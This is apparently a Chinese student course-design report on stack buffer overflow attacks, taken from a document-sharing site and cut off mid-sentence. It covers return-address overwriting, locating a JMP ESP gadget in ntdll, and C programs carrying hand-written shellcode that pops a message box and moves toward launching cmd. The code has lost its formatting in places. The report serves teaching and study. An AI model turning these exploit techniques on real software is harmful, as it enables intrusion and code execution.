缓冲区溢出攻击的原理与实践

整理文档很辛苦,赏杯茶钱您下走!

免费阅读已结束,点击下载阅读编辑剩下 ...

阅读已结束,您可以下载文档离线阅读编辑

资源描述

课程设计任务书计通学院网络工程专业课程名称网络管理与安全课程设计时间2014~2015学年第一学期1~2周学生姓名指导老师向凌云题目缓冲区溢出攻击的原理与实践主要内容:了解缓冲区溢出的类型,掌握缓冲区溢出攻击原理。设计一个缓冲区溢出的简单实例程序,编写shellcode,利用缓冲区溢出程序自动运行另一个程序,从而实现缓冲区溢出攻击,最后对攻击过程进行详细分析。要求:(1)综合运用计算机网络管理和信息安全知识。(2)学会文献检索的基本方法和综合运用文献的能力。(3)独立完成任务书规定的任务并按要求编写课程设计报告书。(4)通过课程设计培养严谨的科学态度,认真的工作作风和团队协作。应当提交的文件:(1)课程设计报告。(2)课程设计附件。一、缓冲区溢出概念1、缓冲区溢出:指当计算机向缓冲区内填充数据位数时超过了缓冲区本身的容量溢出的数据覆盖在合法数据上,理想的情况是程序检查数据长度并不允许输入超过缓冲区长度的字符,但是绝大多数程序都会假设数据长度总是与所分配的储存空间相匹配,这就为缓冲区溢出埋下隐患.操作系统所使用的缓冲区又被称为堆栈.在各个操作进程之间,指令会被临时储存在堆栈当中,堆栈也会出现缓冲区溢出。2、缓冲区最常见的攻击手段是通过制造缓冲区溢出使程序运行一个用户shell,在通过shell执行其他命令.若该程序输入root且有suid权限的话,攻击者就获得了一个有root权限的shell,此时就可以对系统进行随意操作了.下面我来介绍一下如何控制程序跳转到攻击代码①打开记录(ActivationRecords)在程序中,每一个函数调用发生,在堆栈中会留下一个ActivationRecords,它包括函数结束时返回的地址,攻击者通过溢出这些自动变量,使地址指向攻击程序代码.通过改变程序的返回地址,当调用结束时,程序就跳到攻击者设定的地址,而不是原地址.这类溢出被称为stacksmashingattack.②函数指针(FunctionPointers)void(*foo)(1)定义一个返回函数指针的变量foo,FunctionPointers可用来定位任何地址空间.所以只需在任何空间内的FunctionPointers附近找到一个能溢出的缓冲区,然后溢出它来改变FunctionPointers.在某时刻,当程序通过FunctionPointers调用函数时,程序的流程就按黑客的意图实现了(典型的溢出程序有:Linux下的Superprobe程序).③长跳转缓冲区(Longjmpbuffers)在C语言中,包含了一个简单的检验/恢复系统,称为setjmp/longjmp.即在检验点设定setjmp(buffer),用longjmp(buffer)恢复.但若攻击者能够进入缓冲区空间,则longjmp(buffer)实际上跳转到攻击者的程序代码.像FunctionPointers,longjmp缓冲区能指向任何地方,所以攻击者要做的就是找到一个可供溢出的buffer即可.最常见的是在一个字符串中综合了代码植入和打开记录.攻击者定位或提供溢出的自动变量,然后向程序传一个超大字符串,在引发buffer溢出改变打开记录时植入程序代码,由此达到入侵系统的目的.二、缓冲区溢出实例实现原理1、堆栈的组成:图2.1堆栈由数据存储区、EBP(栈底指针)、EIP(指令寄存器,指向下一条指令的地址)2、漏洞利用程序详细分析:图2.2编写一个漏洞利用程序,给它赋超过本身长度的值,使其溢出,但是我们要找到这个漏洞,我们需用shellcode进行填充,填充一定数量的值,使我们能够清晰的找到漏洞(EIP),如果EIP指向的下一个地址不存在,那么它就出错,警告你哪里的指令引用的地址内存不能为“read”,那么那个地址就是EIP所在的位子,由于每一个地址空间都是4个字节,所以EBP和EIP都占4个字节,所以在出错的地址前4个地址就是EBP的地址。为了利用漏洞,我们就必须利用EIP的这个空间,将这个地址用JMPESP来赋值,这样EIP—JMPESP,这样程序执行到了EIP的地址空间时,就会跳转去执行JMPESP,这样就会执行另一个shellcode的代码,这样我们就利用了缓冲区的漏洞。图2.3DcbaHgfEbp原EIP….DcbaHgfLkjiPonm….正常时的堆栈情况内存低址0x616263640x61626364EBP的值内存高址内存高址内存高址原EIP的值内存高址溢出后的堆栈情况内存低址0x616263640x616263640x696a6b6c内存高址内存高址内存高址0x6d6e6f70内存高址三、缓冲区溢出实例实现过程步骤1:编写一个漏洞分析代码程序一#includestdio.h#includestring.h#includewindows.hcharname[]=\x41\x41\x41\x41//name[0]-name[3]\x41\x41\x41\x41//name[4]-name[7]\x6a\x6b\x6c\x6d//EBP\x6e\x6f\x71\x72//EIP\x73\x74\x75\x76\x77\x78\x7a\x7b;intmain(){charoutput[8];LoadLibrary(user32.dll);strcpy(output,name);for(inti=0;i8&&output[i];i++)printf(\\0x%x,output[i]);return0;}调试结果如下图:图3.1以上是运行结构,图中所示地址(0x6f6e6d6c)是代码中的部分,所以这里是EIP,所以程序就显而易见了步骤2、我找到了漏洞所在的地址,但是我们还需找到本机的JMPESP的地址,每一台机子的JMPESP都不一样,所以,我用了一个小程序找它的地址,这个程序是在网上找的,具体什么意思也没有仔细分析。程序如下:程序二#includewindows.h#includeiostream.h#includetchar.hintmain(){intnRetCode=0;boolwe_load_it=false;//定义一个bool类型的,赋值falseHINSTANCEh;TCHARdllname[]=_T(ntdll);h=GetModuleHandle(dllname);//动态链接库的地址if(h==NULL){h=LoadLibrary(dllname);if(h==NULL){coutERRORLOADINGDLL:dllnameendl;//输出地址return1;}we_load_it=true;}BYTE*ptr=(BYTE*)h;booldone=false;for(inty=0;!done;y++){try{if(ptr[y]==0xFF&&ptr[y+1]==0xE4){intpos=(int)ptr+y;coutOPCODEfoundat0xhexposendl;}}catch(...)//捕获地址{coutENDOFdllnameMEMORYREACHEDendl;done=true;}}if(we_load_it)FreeLibrary(h);returnnRetCode;}这样运行后,找到了本机JMPESP的地址:0x7c93fcd8所以将EIP的地址改成JMPESP的地址,那样就能通过这个地址,跳转,执行你想要的shellcode。步骤3、添加必要的shellcode,执行\x33\xDB\x53\x68\x66\x69\x73\x68\x68\x6B\x6F\x6F\x6B\x8B\xC4\x53\x50//弹消息框代码\x50\x53\xB8\xea\x07\xd5\x77//messagebox在本机的地址\xFF\xD0\x53\xB8\xFA\xCA\x81\x7C\xFF\xD0;将这些shellcode与程序一起写上,那么执行到JMPESP的时候就可以执行shellcode了,这样就实现了利用缓冲区漏洞。程序如下:#includestdio.h#includestring.h#includewindows.hcharname[]=//abcdefghijklmnopqrst;\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x12\x45\xfa\x7f\x33\xDB\x53\x68\x66\x69\x73\x68\x68\x6B\x6F\x6F\x6B\x8B\xC4\x53\x50//弹消息框代码\x50\x53\xB8\x8A\x05\xD5\x77//messagebox在本机的地址\xFF\xD0\x53\xB8\xFA\xCA\x81\x7C\xFF\xD0;intmain(){charoutput[8];LoadLibrary(user32.dll);strcpy(output,name);for(inti=0;i8&&output[i];i++)printf(\\0x%x,output[i]);return0;}执行这个程序后,程序先不会出现缓冲区溢出的错误,会先弹出一个消息对话框(messagebox)出来。这样就利用了漏洞。对于shellcode的来源,我们要利用程序找到机器码才行首先需要将程序写成汇编语言,然后才寻找机器码。在这之前我们需要利用程序找到几个有用的函数地址。程序三#includewindows.h#includestdio.htypedefvoid(*MYPROC)(LPTSTR);intmain(){HINSTANCELibHandle;MYPROCProcAdd;LibHandle=LoadLibrary(msvcrt.dll);//得到msvcrt和system地址printf(msvcrtLibHandle=//x%x\n,LibHandle);printf(LoadLibrary=//x%x\n,LoadLibrary);//得到LoadLibrary地址ProcAdd=(MYPROC)GetProcAddress(LibHandle,system);printf(system=//x%x\n,ProcAdd);LibHandle=LoadLibrary(user32.dll);//得到user32和MessageBoxA地址printf(\nuser32LibHandle=//x%x\n,LibHandle);ProcAdd=(MYPROC)GetProcAddress(LibHandle,MessageBoxA);printf(MessageBox=//x%x\n,ProcAdd);return0;}这样得到的地址如下图:图3.2为什么要这么麻烦的得到System函数和Loadlibrary的地址呢?这是因为在Windows下,函数的调用方法是先将参数从右到左压入堆栈,然后Call该函数的地址。比如执行函数Fun(argv1,argv2),先把参数从右到左压入堆栈,这里就是依次把argv2,argv1压入堆栈里,然后CallFun函数的地址。这里的CallFun函数地址,其实等于两步,一是把保存当前EIP,二是跳到Func函数的地址执行,即PushEIP+JmpFun。其过程如下图所示图3.3同理,我们要执行System(command.com):首先参数入栈,这里只有一个参数,所以就把Command.com的地址压入堆栈,注意是Command.com字符串的地址;然后CallSystem函数的地址,就完成了执行。如图所示。图3.4步骤4:下一个我们要实现的功能是弹出一个dos对话框,首先我们程序为#includewindows.hvoidmain(){LoadLibrary(msvcrt.dll);system(startcmd);exit(0);}为了得到准确的机器码,所以接下来我们需要将这些代码转

1 / 11
下载文档,编辑使用

©2015-2020 m.777doc.com 三七文档.

备案号:鲁ICP备2024069028号-1 客服联系 QQ:2149211541

×
保存成功